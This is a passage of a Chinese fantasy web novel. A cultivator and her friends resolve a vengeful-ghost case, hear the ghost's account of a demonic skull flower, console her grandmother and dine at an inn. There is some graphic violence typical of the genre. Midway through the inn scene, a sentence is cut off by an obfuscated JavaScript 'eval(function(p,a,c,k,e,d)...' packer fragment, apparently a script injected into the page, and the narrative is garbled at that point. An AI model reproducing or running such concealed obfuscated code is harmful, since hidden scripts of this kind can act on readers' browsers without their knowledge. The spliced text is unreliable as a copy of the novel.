四下寂静。忽然,一旁被定着的程夫人一声暴喝,竟是在瞬息之间挣开了秦湘的定身符咒,她发丝飞舞,指甲也在须臾间暴涨数寸,她猛然弓起身子,朝着程鸿恩飞掠而去。 她这袭击太突然,所有人都猝不及防,就眼睁睁地看着程鸿恩被她一手掀飞,重重地砸在另一边的墙壁之上,然后又倏尔弹起,还未落地,便又被跟着追上去的程夫人生生地掐住了喉咙。 她双目赤红,一手将他高高举起,程鸿恩被她掐得满脸涨紫,直翻白眼,口中鲜血不断,喉中也发出垂死的呻吟。 “夫人!!”千钧一发之际,一声呼唤响彻程府上空。 听见这个声音,程夫人果然滞住了,她慢慢地转过头来,看着不远处满脸惊恐的程员外,程员外见状,以为她恢复了神智,刚松了一口气,然而,一口气还没松完,就看见她朝着他粲然一笑,“你叫错了,我不是你夫人,我只是一个从地狱来的厉鬼,来索程鸿恩的命!” 说完,她又将脸转了回去,看着面前濒死的程鸿恩,一字一句咬牙道:“你不是说没人敢杀你吗?没人能杀你吗?那现在,你给我睁大眼睛好好看清楚,看我敢不敢杀你!!能不能杀你!!” 直到这时,程鸿恩心中才生出了一丝惧意,可是已经晚了,随着程夫人手中一发力,程鸿恩的脖颈便在她手中被生生捏断,尸身落地,鲜血狂飙,程夫人手再轻轻一放,那颗双眼圆睁的脑袋便一同滚落在了血泊里。 一时间,万物归寂。程府的丫鬟小厮们都被惊得一愣,下一秒,尖叫声才响彻云霄!! “啊啊啊啊啊啊!!!” “鸿恩!!!”程员外大骇,想冲上前去,可才冲到一半,便再也忍受不住这种刺激,两眼一翻,就直挺挺地倒了下去。 程府彻底乱成了一锅粥,尖叫着到处跑的丫鬟小厮,晕倒的程员外,趁乱逃走的宋允棠,还有门外围着的一群看戏的玉溪城百姓。 秦湘走了过去,看着晕倒的程员外,乔玉洲正在给他把脉,“怎么样?应该没事吧?” “没事,死不了,和宋芸奶奶一样的情况,气急攻心而已。” “那就好,这里就交给你和三花了,我和神君去找宋允棠。”秦湘叹了口气,不管怎么说,这事还不算彻底结束。 乔玉洲抬头看向她,“秦湘。” “怎么了?”秦湘也望向他。 “那时候,是你故意放开宋允棠的吧?”虽是发问的语气,但声音里带着的却是肯定。 秦湘一怔,良久,微微一笑,“谁知道呢?” 乔玉洲看着她和长锦离去的身影,顿了顿,回过神来,看着不远处血泊里尸首分离的程鸿恩,眨了眨眼,若有所思。 也是,谁知道呢? 秦湘和长锦站在文庙旁边的这座破旧小屋面前,两人相互望了一眼,然后并排走了进去。 屋内,苏子煜死去的地方,程夫人正静静地平躺在地上,双目紧闭,瞧不出生死。而在她旁边,一个约莫十七八岁的姑娘正立在窗边,盯着那破旧的窗户发呆,不知在想什么,她一袭粉衣清冷,黑色柔软的头发编成了一个利落清爽的麻花辫侧在一旁,明眸雪肤,眉眼如画。 见秦湘与长锦走了进来,她才转头,毫不意外地朝两人微微一笑:“你们来了?” 秦湘看了眼地上的程夫人,宋允棠也顺着她的视线低头看了看脚边闭着双眼的妇人,然后温声道:“放心,她没事,虽然她是程鸿恩的娘,可我跟她无冤无仇,我并不会杀她。” 秦湘点了点头,又看向了对面站着的宋允棠,看着她眸子里的赤红已经消下去,可脖颈上那道红色的疤痕却还如此刺眼,她不知道该和她说什么,于是,半晌,喃喃道:“宋姑娘……” 宋允棠对自身的遭遇已经没有这么多感慨了,她站在窗边,又将头转了回去,目光平静地看着面前的窗户,一只蜘蛛正在费力的吐着丝结网,她愣愣地盯了半晌,才道:“苏子煜呢?” 声音平淡,无波无澜。秦湘也瞧不出她心中所想,只能如实答道 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秦湘和长锦本来也算是为此事而来,只是宋允棠之前那副模样她也不好开口相问,如今听她主动提起,自是再好不过。秦湘连忙道:“是,此事事关重大,宋姑娘你可还记得是谁给了你那一身的魔气,他又和你说了什么?签订了什么契约?” 宋允棠目光悠长,望向天边。 她记得,死后,她的魂魄先是入了地府,因为三魂七魄残缺不全,所以并不记得自己已经被人杀死。直到七天后,回魂日,她从地府重新返还阳间,浑浑噩噩地走过那些昔日熟悉的大街小巷,当时她的心中记得的只是答应了宋芸要早些回家,还要给她带的那份糖花糕,而那天天降大雨,她被困在屋檐下避雨,没有及时赶回家。 所以从地府回来的她并没有意识到自己已经死亡,她急切地飘至熟悉的小屋,怕她太晚回家奶奶担心,当她回到庭院之中,看着那个瘦弱的妇人揣着双手,怀中抱着小白,靠着门槛双目紧闭,俨然一副睡着的样子。 她松了一口气,慢慢地走了过去,想要叫醒坐在门边等她回家的宋芸,可她是鬼魂,触碰不到她,她惊恐地看着自己的手径直地穿过宋芸的身体,她一愣,不可置信地又伸出手想要抱抱面前的宋芸,可不管她试多少回,她永远都是在宋芸的身体之中穿行而过。 直到这时,所有的记忆才猛然冲上头脑,她想起来了,她死了,她死在了除夕夜那晚,她双目睁圆,伸手摸了摸自己的脖子,等再低头一看,满手的血色映入眼帘。 “啊啊啊啊啊啊啊!!!”一股凉意与可怖冲上了头脑,宋允棠瞳孔骤缩,在庭院之中撕心裂肺地大喊大叫着,她抱着自己的头,不断地后退,后退。 宋芸隐约像是感受到了什么,她皱了皱眉,慢慢地睁开了双眼,看着面前被风吹开的两扇门扉,眼神茫然,喃喃道:“阿棠……” 她愣愣地盯着面前的门发了一会儿的呆,良久,眨了眨眼睛,缓缓站起佝偻着的身子,朝着宋允棠走来。宋允棠一怔,看着朝她一步一步走过来的老人,她满眼泪水,悲戚道:“奶奶……” 她拖着疲惫的身子,抱着小白,慢慢地穿过宋允棠的身体,然后径直走向那两扇门扉。 宋允棠回身,看着远去的宋芸,哭着,喊着,“奶奶,你不要走,你回头看看,阿棠在这里,你回头啊!!” 可宋芸终究还是看不见她,她抱着小白,一步一步地消失在了宋允棠面前。 宋允棠站在原地,满腔悲恨,怨气冲天。 地府有规定,鬼不能伤害人,若是杀了人,会折损阴德,阎王便会派出黑白无常前来拘捕这些罪孽深重的亡魂。宋允棠虽然恨程鸿恩他们,恨不得将他们杀之而后快,但心中更多的却是对宋芸的愧意,因为她识人不淑,错认良人,所以造成了这一切,她想要弥补,想要陪伴在宋芸身边,所以她决不能被黑白无常带走。 但是就这么放过程鸿恩他们,宋允棠心中又不甘。所以她附身在了小白身上,隐匿了气息,陪伴在宋芸身边,晚上,便出现在了那些害死她的凶手梦中,她只是远远地站着,什么也没干,就足以让那些人心虚不已,精神恍惚。 可谁知,那程鸿恩竟然请了个道士来镇压她,那道士有些道行,在她的埋骨之地下了镇鬼符咒,硬生生地将她从小白躯体之中剥离出去,然后打回了她的尸骨之中,只待九九八十一天之后她便会灰飞烟灭,不入轮回。 被镇压在荒野的宋允棠此时终于被仇恨吞噬了理智了,她曾经是如此温柔良善之人,此时却在镇鬼符开启的结界之中声嘶力竭的怒吼着,她发丝飞舞,脖颈处鲜血不断溢出,将她的粉色衣裙一点一点地染成了血色。 宋允棠,终成厉鬼。 32.圆满结束 她释放出的恶吸引来了藏在黑暗里的魔。 在九九八十一天期限即将到达之际,一个披着黑色斗篷带着黑色覆面的陌生男子出现在了她面前。那人全身黑气萦绕,手指微微一抬,镇鬼符的结界便应声而碎。 宋允棠坐在地上,抬起猩红的眸子,死死地盯着面前的人:“你是谁?!” 那人缓缓走来,停在她面前,垂眼看着她,“我,是能帮你的人。” “我要杀了程鸿恩,要杀了苏子煜,你也能帮我?”宋允棠冷笑着。 “当然可以,他们人面兽心,禽兽不如,为何不能杀?”那人说着,抬起手掌,一株状似风铃的人头骷髅花在他手心轻轻地摆动着,在黑暗中散发着幽幽的光华。他翻手再轻轻一推,那娇弱且可怖的花朵便在瞬息之间融入了她的心口,“此花可助你完成你的夙愿。” “那我需要给你什么?” 闻言,那人轻笑一声,嘴角慢慢扬起,半晌,他转过身,“你什么也不需要给我,等你完成了你的夙愿,我自会来找你,届时,你只需要将此花还给我便可。” 说完,那人的身影在宋允棠面前渐渐隐去。之后,宋允棠便被这骷髅花所带的魔气所影响,魔气放大了她心中本有的恶,浅化了她心中的善。她冲破镇鬼符之后做的第一件事就是将那老道士挟来了这里,然后让他跪在她的坟前磕头认错,最后再将他挖心砍头做成了人俑跪在她的坟前日日忏悔。 做完了这一切之后,她便开始一个一个找剩下的仇人复仇,微笑着看着他们哭喊着,求饶着,然后用那骷髅花一口一口的咬断了他们的头颅,每一个,都一如先前她死去的模样。 听完这些,秦湘和长锦略一思索,便已明了。那幕后之人将这萦绕着魔气的骷髅花给宋允棠,并不是为了让她复仇,而是为了让她成为一个魔气的载体。 虽然那骷髅花让她实力大增,报仇雪恨,但也吞噬着她的良知,而她要杀的那六个人也并非善类,手中沾满鲜血的无恶不作之徒,这样的人,最容易成为魔主的养分,等魔气入体的宋允棠将这几人全部杀完,她的善念之魂就将彻底被恶念之魂同化,而吸饱了恶念的那株骷髅花就会将宋允棠就此吞噬,然后再回归那幕后之人之手。 想到这,秦湘身体一抖,忽然一股寒意涌上心头。 “虽然昨晚那花已被这位仙君取出,可那些仇恨却是真的,”宋允棠声音淡淡的,一双漂亮的眼睛如细碎的星辰,“就算没有魔气,没有那个人,我心里也是想杀了程鸿恩他们的,魔气只不过是放大了我心中所想。” “反正我也杀了四个人了,很快,地府的阴差就会前来捉拿我了,我不能再守在奶奶身边了,”她顿了顿,转而朝着秦湘长锦一笑,“所以,也不差这一个两个了,回地府之前,我是无论如何都想杀了程鸿恩和苏子煜,在这里,还要多谢秦姑娘的成全。” 她虽然没有明说,但秦湘知道,她指的是在程府的那件事。她看着面前回归了原样的宋允棠,她是那么温柔,那么悲伤,站在那里。秦湘突然心里沉闷,她轻声道:“宋姑娘,你可还有什么心愿未完成?只要我能做到,我一定会帮你。” 心愿吗……宋允棠垂眼,睫毛簌簌。 回到程府,已是一个时辰之后了。 程员外已经醒了,跪坐在程鸿恩的尸首前,老泪从横,半天无言。乔玉洲没有半分同情之心,搬了把摇椅坐在庭院之中边摇边看星星,好不惬意。 三花在程府里跑来跑去,溜达了一圈,也觉得无聊,看着程员外一副失魂落魄的模样,一直跪在那尸首前,便也走了过去,蹲在一旁看看他,又看看地上的尸首,拍了拍他的肩膀安慰道:“喂,我说这位老伯,你哭什么呀?程鸿恩这么坏,死了不应该是好事吗?不要哭啦,不要哭啦,你这么大年纪了,等下一下又晕过去就不好啦。” “你!”程员外被她的话一噎,倏而转头盯着她,你了半天却什么也说不出来。 三花莫名其妙,对上他的眼,眨了眨,又善解人意地拍了他几下,“不气不气,我知道,程鸿恩是很让人生气,可他已经死啦,他死了你应该高兴才对呀,你看,他死了,你就不用将他送到官府了,本来也让你为难,这下好啦,不用为难了,你不应该高兴吗?” “……”对上三花人畜无害的一双碧色眸子,程员外心中郁结,手指在衣袖之中紧紧地捏起,又无力地松开,半晌,他叹了口气,移开了双眼,“这位小施主,能不能走开,让我自己待会。” “嘿,你这老伯,我好心安慰你,你怎么不领情呢?”三花嘟囔着起身。 “三花,别闹了。”秦湘在门口看了半晌,看着三花还要喋喋不休地和程员外掰扯,她生怕下一秒这抖着胡子气得不轻的程老员外又两眼一翻晕过去,于是连忙出言阻止。 听到这个声音,庭院中的三人都朝着门口望来,秦湘和长锦一左一右,掺扶着晕死过去的程夫人正站在门口。 “夫人!!”跪在地上的程员外看见那双目紧闭的程夫人,连忙爬起身来,跌跌撞撞地便朝着两人跑了过来,着急道,“我夫人可无恙?” 秦湘冷冷地瞧了他一眼,没有答话,而是越过他看向了另一旁的乔玉洲,“乔玉洲,你过来。” 乔玉洲慢悠悠地走了过来,秦湘将扶着的程夫人往他那边一丢,“交给你了,应该没什么大碍,但是被宋允棠附了身多多少少还是有点影响,你给检查一下。” 乔玉洲伸手接过,朝她撇撇嘴,“秦湘,你还真不客气,一天使唤我三回了,我跟你说,这是另外的价钱,我先给你记下了。” “别废话,赶紧去。” 等安顿处理好这一切之后,秦湘才走到了一旁惴惴站着的程员外面前,见秦湘走过来,程员外张了张嘴,想问什么,但看着秦湘不善的面容,半晌,还是压下,嗫嚅道:“小仙君……” 秦湘看着面前面容憔悴,疲惫佝偻的男人,终究还是压下了心中对他的那几丝不满。她顿了顿,语气微缓,“宋姑娘心善,冤有仇,债有主,程鸿恩与她的血债,她并没有扯上旁人,所以,程夫人无碍,你大可放心。” “……”听她提起程鸿恩,程员外心中悲戚,看着不远处血泊里的尸首,他恨吗?他怨吗?是有的,可是他能怨谁,又能恨谁?这一切都是他咎由自取,因果报应罢了。他闭了闭眼,掖下眼里的泪,朝着秦湘鞠了一躬:“多谢仙君。” “程员外。” “我在,小仙君还有什么吩咐?” “我想问你一个问题,”秦湘转头,对上他的眼睛,顿了顿,一字一句道,“那个时候,如果宋允棠没有杀程鸿恩,你知道了所有的真相后,你真的会将程鸿恩交予官府处置吗?” “……”程员外看着她良久,嘴唇动了动,终究是什么也没说。 “罢了,不重要了。”秦湘将目光从他脸上移开,她不再看程员外一眼,转身离开。 等乔玉洲为程夫人看诊完毕后,一行人趁着夜色也离开了这让人心情不佳的程府。 青色的石板路蜿蜒,皎洁的月光明亮,照耀着不归人回家的路。 秦湘带着几人来到了一个卖糖花糕的小摊面前,此时时间还不算太晚,正是夜市热闹之际。粗布衣裙的女摊主搙起袖子,掀开面前热气腾腾的竹蒸笼,烟雾散去,露出了里面淡粉糯白发得很宣的糖花糕,花糕光滑圆润,一个一个地挤在一起,煞是可爱。 乔玉洲看了一眼,转头看向秦湘,“秦湘,你带我们来这里干什么?请我们吃晚饭吗?” “嗯,算是的,”秦湘看着那烟雾缭绕的蒸笼,目光怅然,半晌,叹了一口气,心下微松,“也是为了替宋姑娘来完成她未完成的事。” 说完,她便率先走了过去,坐在了那露天的矮木桌前,举手提高声量一声吆喝:“老板娘,要两碟糖花糕,再上一壶好茶。” 蒸笼后边忙碌的老板娘抬头应道:“好嘞,各位客官先坐,稍等片刻,马上就来。” 花糕很快就被端上了桌,散发着热气。三花被这可爱的团子吸引了目光,伸手就抓,却被烫得一跳,连忙丢下手中的糕点,将手贴在乔玉洲的脸上,一脸哭唧唧的可怜样。 乔玉洲拉下她的手,吹了吹,无奈道:“你慢点嘛,又没有人跟你抢,想吃多少吃多少。” “怪它长得太可爱了。”三花嘟囔道。 秦湘看着面前的画面,也是无奈一笑,她伸手从盘中拿过一个,温度适宜了,才递给身旁坐着的长锦,笑道:“神君也尝尝,今天一天辛苦了。” 另一边的乔玉洲被她这举动吸引了注意力,连忙道:“秦湘,你怎么不给我们拿呀,我们也辛苦了,跟着你跑上跑下的。” 秦湘瞪了他一眼,但还是起身,拿过一旁倒扣在桌面上的几个杯子,倒了几杯茶,一一送到三人面前,正色道:“这个委派任务终于快要接近尾声了,这两天,辛苦大家了,等明天,我再好好请大家去玉溪城最好的酒楼好好吃一顿。” “好呀好呀,”一听见有吃的,三花朝着秦湘弯起了眼睛,“谢谢秦湘姐姐。” 乔玉洲倒是被她这一本正经的道谢整得全身一抖,他轻声笑道:“秦湘,我还是习惯你不正经的样子,你这样一本正经的样子我还有点不习惯呢。” “……”所有的情绪又被打断,秦湘恨不得一口花糕堵上他的狗嘴,“闭嘴,吃的还堵不上你的嘴,你再说明天就真的由你买单。” 乔玉洲一笑,果然不说话了。 四人吃饱喝足暂作休整之后,秦湘又 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送走了妇人,几人才走进了宋芸的房间,房间内,宋芸坐在床榻边,双目呆滞。小白从秦湘的怀中跳下,一路小跑到了宋芸面前,朝着她不住地摇着尾巴,汪汪地叫着。 被这动静吸引,宋芸终于回了一点神,她缓缓转动眸子,将视线移到面前的小白身上,然后蹲下身去,轻轻地抚摸着它的头。 “奶奶,你没事吧?”秦湘轻轻地走了过去,将她扶起。宋芸看着秦湘,顿了顿,才道,“姑娘,可是为我家阿棠沉冤昭雪了?” 秦湘点点头,替宋芸将鬓边一缕凌乱的银发掖至她的耳后,语气缓和地轻声说道:“奶奶你放心吧,杀害宋姑娘的凶手都已伏诛,我也见到她了,她很好。” “真的?”宋芸一惊,转眼焦急地看着她,“你真的见到了我的阿棠?” 秦湘偏头,房间内,除了宋芸看不见外,其他四人都能清清楚楚地看见,宋允棠此时正站在宋芸身边,站在那床榻旁边,满眼不舍。 秦湘朝她笑了一笑,又转回头看向长锦,“神君?” 长锦走了过去,将手中那个油纸包递给她。秦湘伸手接过,打开,露出里面白里透粉的两块糖花糕来,她将糕点递给宋芸,温柔道:“是真的,你看,我不会骗你的,这是宋姑娘让我带给你的。” 闻言,宋芸泪如泉涌,她哆嗦着双手,缓缓接过,糕点还是温的,拿在手心里很暖。她呜咽着,一手捂着嘴巴,将那些支离破碎的哽咽声都堵在喉间。 宋芸这么一哭,宋允棠也忍不住了,她蹙着眉,泪水也大颗大颗地滑落。她情不自禁地上前,伸出手来想触摸一下宋芸,可手僵在半空中,最终还是收了回去。 房间内无人说话,只有宋芸细碎的哽咽声。秦湘看着面前这幅场景,坐在宋芸身边,伸手轻轻地拍着她的背,等她缓过来一点了,才轻轻唤她,“奶奶。” 宋芸抬起泪眼模糊的眼,缓缓的看向她。秦湘朝她笑笑,温声细语地哄道:“奶奶,你不要哭,你不哭的话,我就告诉你一个秘密,一个关于阿棠的秘密。” “……什么?”宋芸喃喃道。 秦湘凑近宋芸,抬手指指一旁的长锦,“你看见了吗?跟我一起的这位道长他其实是神仙,他可以和地府的阎王大人沟通,刚才杀害阿棠的凶手伏诛了之后,我们见到了从地府来的黑白无常,阎王大人说,阿棠命不该绝,一辈子温柔良善,却因为识人不淑而遭此劫难,实在可怜,所以他们没有锁走阿棠的魂魄,他们会让阿棠换一种方式陪伴在你身边。” “!!!”宋芸身体一震,满眼都是不可置信,她转头看向秦湘,秦湘朝她肯定地点点头。 “姑娘,你……你说的可是真的?!” “当然是真的,我们这位仙君可是神仙,他从来都不骗人的,不信你问问他们俩,我们一直在一起,他们俩也看见了。”秦湘抬起下巴指了指一旁站着的乔玉洲和三花。 面对着老人眼中殷切的希望,乔玉洲和三花对视了一眼,肯定地点了点头,“是啊,是啊。” “那我家阿棠此时在哪里?!”闻言,宋芸更加急切了。 “远在天边,近在眼前。”秦湘蹲下身子,将床边蹲坐着的小白一把抱了起来,举在了宋芸面前,“阿棠去了之后,心中也舍不得奶奶你,所以她一直都在小白身体里,陪伴着你,以后也会一直在。” 宋芸睁大着眼睛,愣了半晌,才从秦湘手中将小白接过,小白看着她,亲昵地蹭了蹭她的脸。 “阿棠……” 一声阿棠,终是泣不成声。 秦湘拍了拍她,退回了三人身边,而站在床边的宋允棠,抹了抹眼泪,转身朝着四人深深欠了一身,然后,望着床榻前坐着的宋芸。 跪拜磕落,三跪九拜。 33.打道回府 程府的捉鬼委派任务在众人的齐心协力共同努力下也算是圆满完成,从宋芸家离开之后天色已经很晚了,身心俱疲,于是几人一合计,便去玉溪城内找了一家客栈投宿歇脚,休息一晚之后,明日再启程回腾岳之巅。 连续两天折腾,秦湘这一觉直接睡到了第二日巳时。 旭阳高照,来客栈打尖儿的人越来越多,一楼是吃饭喝酒的地方,二楼是客房。长锦乔玉洲三花三人围桌而坐,长锦不紧不慢地提起面前的茶壶为自己又添了一杯新茶,又不急不忙地吹了吹,然后浅浅地喝着。 一旁坐着的乔玉洲手指在桌面上一下一下地叩着,在身旁第三桌客人都吃完饭起身离去之时,终于还是忍不住了,他看了看楼上紧闭的房门,朝着一旁懒洋洋趴在桌上的三花道:“三花,你上去看看秦湘,起来没起来,如果没起来的话把她叫起来。” “好嘞,我现在就去。” 三花哒哒哒地跑上了楼,推开房门一看,秦湘果然还闷在被子里呼呼大睡,她走过去,一把掀开被子,拉了拉秦湘,大声叫道:“秦湘姐姐起床啦,太阳晒屁股啦,快起床。” 秦湘被她一阵摇晃,迷迷糊糊地半睡半醒,她半掀起眼帘,睡眼惺忪地瞥了一旁的人一眼,看见是三花,便伸手摸了摸她的脸,含糊不清道:“三花乖,让姐姐再睡一会儿,还早,就再眯一小会儿。” “不行不行,不早了,已经巳时了,都快到吃午饭的点了,三花都饿了。”三花一边说着,一边又要去拉她。 听到已经巳时这句话,秦湘瞬间清醒,她猛然睁眼,坐了起来,“什么?!你再说一遍,现在什么时辰了?!” 三花跪坐在她身边,眨了眨眼,“巳时……”顿了顿,又举起手道,“准确地来说,是巳正三刻,还差一小会会就是午时了。” 秦湘:“……” 她一把跳了起来,边揉着头发边走向窗户,推开轩窗一看,外面果然已经是烈日当空,热闹熙熙。 秦湘崩溃了。她竟然一觉睡到了快午时,要不是三花上来叫她,可能她还要接着睡下去,直接睡到晚上也说不准,想到长锦和乔玉洲可能早就起来了,可能坐在楼下等她一上午了,她就更加崩溃了,真是要命要命。 不敢再耽搁一点,秦湘连忙穿衣梳洗,将自己一番捯饬,匆忙忙地朝着铜镜看了一眼,便拉着三花走出房门朝着楼下走去。 乔玉洲和长锦已经坐在楼下等候多时,乔玉洲等得挺急的,耐心全失,长锦倒是不急,依旧是慢悠悠地吃着茶,边喝茶,边看着台上的老先生说书。 秦湘还在楼梯上没走到两人身边,乔玉洲便已经先看见了她,语气中的怨气不言而喻,“秦湘!” 看着乔玉洲幽怨的眼神,秦湘挠挠头,连忙道:“不好意思不好意思,这两天太累了,这客栈上房房间的被褥太软太舒服了,所以一不小心就睡过了一点点头。 “你这叫作一点点,一点点?!”乔玉洲恨不得将她一把拉到外面看看外面艳阳高照的太阳,“秦大小姐,现在都快午时了你知道吧,午时了。” “哎呀呀,还差一点点,一点点啦,巳时,巳时,”秦湘讪笑着,坐到了长锦身边,也伸手为自己倒了一杯茶,喝完,她看了看几人,扯了个话题道,“你们应该还没吃饭呢吧?” “……”乔玉洲没好气道,“你要说早饭,我们肯定吃了,不会等你的。” 秦湘打着哈哈,“那为表歉意和道谢,我做东,请你们吃午饭怎么样?听说这家店是家老店,厨师是巴陵的名厨,做的银鱼三鲜汤和烤鱼尤为好吃,你们好不容易来洞庭一趟,可一定不能错过洞庭的鱼。” 秦湘一边说着,一边举手招呼着柜台后面的伙计,“小二,这边点菜,麻烦拿个菜单过来看看。” “唉,来啦!”店小二将手中的汗巾往肩上一搭,连忙带着菜单过来了,呈了菜单后,送上两碟瓜子蔬果,再泡上一壶君山银针,恭恭敬敬地替几人斟了茶。秦湘双手接过那杯茶,朝着伙计笑了笑轻声道:“谢谢。” 她将手上的菜单推给对面三人,“你们先看吧,看想吃点什么?不用顾忌,随便点。” “你挑便是,你是主,我们对这边不是很熟,你看什么好吃你就点什么,反正炅洲和巴陵口味都差不了多少,我们应该都没什么不能吃的。”乔玉洲说着,端起桌上那杯茶浅浅的饮了一口,味甘醇和,他满意地点了点头。 “那神君呢?可有什么忌口?”秦湘又看向了长锦。 “没有,”长锦摇了摇头,“按照你爱吃的口味来即可,我都可以,不挑。” “行,那就我来吧,”秦湘说着,又将桌上的菜单拿了回来,看了几眼,又喊道,“小二,我们这边要一份银鱼三鲜汤,再要一份三色蒸回头鱼,然后再来一份君山银针鸡片,平江炸肉,三蒸也来一份,这个素的话就来一份辣椒炒香干和清炒莲藕莲子棱角,点心的话就要一份樱花糕,一份华容团子,四碗长乐甜酒,噢,再加一份烤鲫鱼……好了,暂且就先这些吧,有劳了。” “……”乔玉洲看着她跟个暴发富一样,不禁为她的钱包堪忧,“秦湘,点这么多,吃得完吗?” “吃得完的,吃得完的,才八个而已,外面的份量又不比云隆堂,我们四个人呢,”秦湘将菜单还给了伙计,又伸手摸了摸三花的头,“而且,三花说她饿了,饿了就要多吃点,长身体的时候呢。” “嗯,谢谢秦湘姐姐。”三花朝她甜甜一笑,秦湘感觉自己心都要化了,说话也不自觉地放软,又摸了摸她的头,弯了弯眼睛,“不用客气。” 乔玉洲看着面前明明才认识两天却好得不像话的两人,无奈地摇了摇头,想了一想,反正吃不完让秦湘兜着走就行了,思及此,他也不再多说什么,又端起面前这杯气香味醇的茶喝了两口。 菜很快地就被端了上来,小二端着托盘,碗盏碟杯满满当当,他弯着腰,准备整理着他们面前的桌子,好腾出位置来摆其他的菜。 秦湘见他吃力,连忙起身,先他一步整理了桌面,在中间空开几个不大不小的位置,她笑道:“摆在这里吧。” “好的好的,谢谢谢谢。”小二朝她也投去一个感激的微笑,上好了菜,他又道了一声“请慢用。”之后,才点着头哈着腰微笑着转身离去。 “这银鱼三鲜汤是洞庭的特色了,特别鲜,你们尝尝,那烤鲫鱼也不错,外焦里嫩,打了花刀,所以就腌得特别入味。” 听着秦湘如此说,早就饿了的三花看着面前的鱼咽了咽口水,伸手便向着那鱼抓去,可还没抓到手,爪子就已先被人轻轻拍了两拍。 “乔玉洲!!”虽然不重,但打断人吃饭是一件很严重的事情,三花咬牙切齿地看向始作俑者,一双碧蓝眼眸里似乎要喷火。 乔玉洲将一双筷子送到了她手里,温声道:“哎呀哎呀,你怎么气得都这样叫我了,我只是想让你用筷子吃饭,既然当人了要有个人样,你是个漂亮的美人,怎么可以用手抓鱼吃。” 三花一顿,怒火更甚,将手中的筷子一扔,“乔玉洲!我是猫,猫就是不会用筷子!猫就是用爪子抓鱼吃的!我不吃了!”说完,她转过身背对着他,一脸不高兴。 秦湘坐在对面,看着被气得皱巴巴的三花,连忙道:“哎呀,乔玉洲,这里又没别人,都是自己人注意这么多干什么,你这么大的人了,好意思欺负小姑娘吗,三花想怎么吃就怎么吃。”秦湘边说着,边将那盘烤鲫鱼往三花面前送了送,“给,三花,你想吃多少吃多少,想怎么吃就怎么吃。” 三花抬头看了一眼秦湘,轻声道谢,“谢谢秦湘姐姐。”然后再瞥眼淡淡地看了看身旁的乔玉洲,心里可还委屈着,于是她地捡起桌上的筷子,默不吭声地夹了一条鱼放进自己碗里,不理他。 乔玉洲看着面前握着筷子将鱼戳成了筛子的三花,无奈地轻笑了一下,然后又夹过一条鱼来细细地剔了肉,端在了她眼前,柔声道歉:“好啦,对不起,是我的错,别生气了,给,吃这个吧。” 三花不说话,默默地瞧着面前的鱼,乔玉洲歪头看着她的脸,伸手揉了揉她的头,“好啦,是我不对,我真的知道错了,你快说句话呀,你这副模样让我都不安心了。” “哼,”三花冷哼一声,倒也不是真的要和他生气,就是使使小性子罢了。她转过身子和面前的乔玉洲大眼瞪小眼互盯了一会儿,半晌,才别过脸,将那碗鱼肉扒拉过去,“你别以为这样我就原谅你了,你凶我,我可是狠狠地记着了,一碗鱼肉打发不了我。” “那你想要什么?”乔玉洲立刻明了,“尽管说来,我都给你买。” “这可是你说的,那你再给我买一身亮晶晶漂亮的衣服,还要亮晶晶漂亮的头面,还有……” “我懂,我懂,还有亮晶晶漂亮的镯子首饰小铃铛各给你打一套可好?” “嗯,就是这样,”三花满意地点点头,“这样我就原谅你了。” 秦湘看着面前两人打打闹闹的小插曲,一时之间也是笑得直摇头,好不容易止住了嘴角的笑意,她才伸手拿勺,打了一碗奶白醇厚的三鲜汤递给身旁坐着的长锦,一双眼睛亮亮的:“神君,你快尝尝,这个特别特别好喝,味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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乔玉洲轻笑一声,半晌,才低头看着怀中的三花猫,目光盈盈,声音怅然,“是又如何?怎么?不可以吗?难道你也觉得人妖殊途不同归?人为尊,妖为卑?” 修仙界中人妖关系如水火不容,妖觉得人类贪婪险恶,反之,人也觉得妖类邪恶可怖,且认为人界人为尊,妖只是低等生灵幻化而来,根本不具备人类的智慧与情感,自然为卑,所以,人妖相恋这种事情在修仙界中根本就是被人所唾弃和谩骂的,而妖和人因为这长期的冷淡关系,虽一同生活在人界,但也向来是井水不犯河水的守在自己的领界内的。 虽然世人常道人为善,妖为恶,但秦湘从来都不以此话为信条,她并不相信什么渭泾分明的善良与邪恶,她只相信自己的眼睛所见的事实。 想到这,秦湘顿了顿,又摇了摇头,神情肃穆地看向乔玉洲怀中的白毛团子:“妖如何,人又如何,天下分六道,容纳的是天下苍生,人间既有人,也有万物生灵,天下众生平等,人间并不只是人类的人间,也是他们的家,又何来以人为尊,妖为卑?” 乔玉洲愣了半晌,才笑道:“说得好,秦湘,我果然没有看错你,你这个朋友,我交得真值。” “打住,别往自己脸上贴金,你之前是一副什么样子我可没忘,”秦湘连忙打住他,“我只是单纯的惊讶加好奇,竟然能让你乔大公子收心,我真佩服小三花。” “哈哈哈哈,是嘛。”乔玉洲笑了笑,看着面前的莺歌燕舞,一声叹息,“当时谁知道以后呢,别说你了,我本来还打算这辈子就这样过了呢,可谁知……不过,这样也挺好的。” 两人又杂七杂八地随便聊了一会儿,秦湘忽然想起刚见到三花之时乔玉洲说起她因为受伤所以才被他捡到留在了双灵阁中的那个事情,于是她转头,看向乔玉洲问道:“乔玉洲,你之前在传送通道里跟我说,三花是因为受伤所以被你意外捡到带回双灵阁的,据我所知,人妖占地分明,若非有特殊情况,否则是不会踏入对方领地的,三花到底是因为什么受伤流落人间,而且你还一直将她带在身边?” 闻言,乔玉洲表情淡淡,声音也没有什么起伏:“秦湘,你可还记得十年前修仙界曾发生过一件修士杀妖取丹修炼禁术的事件?” 听他这么一提,秦湘的心也猛然一震,她眉头微皱,神情也变得凝重起来。 十年前,修仙界曾经出过一件让所有修士都震惊的事情。修仙界六大门派之首的清虚门,掌门齐怀仁座下曾有一位天赋异禀的弟子,名曰江暮行。江暮行还没有拜入清虚门门下之时,就已在一场以一人斩杀恶兽,守护一方百姓的战斗中一战成名。 秉着要做最厉害的剑客,去最好的门派,拜最厉害的师父的人生信条,江暮行顺利地进入了清虚门,成了掌门齐怀仁座下最厉害的首席弟子,甚至后来的群英论剑大会的举办有一半原因,也是因为他。 34.昔日少年 最早江暮行这人在当时的仙门百家众人眼中,是少年早成的天之骄子,而在被他救过的众多百姓眼里,他的形象简直就能和神明相比肩,可所谓是风光无限。 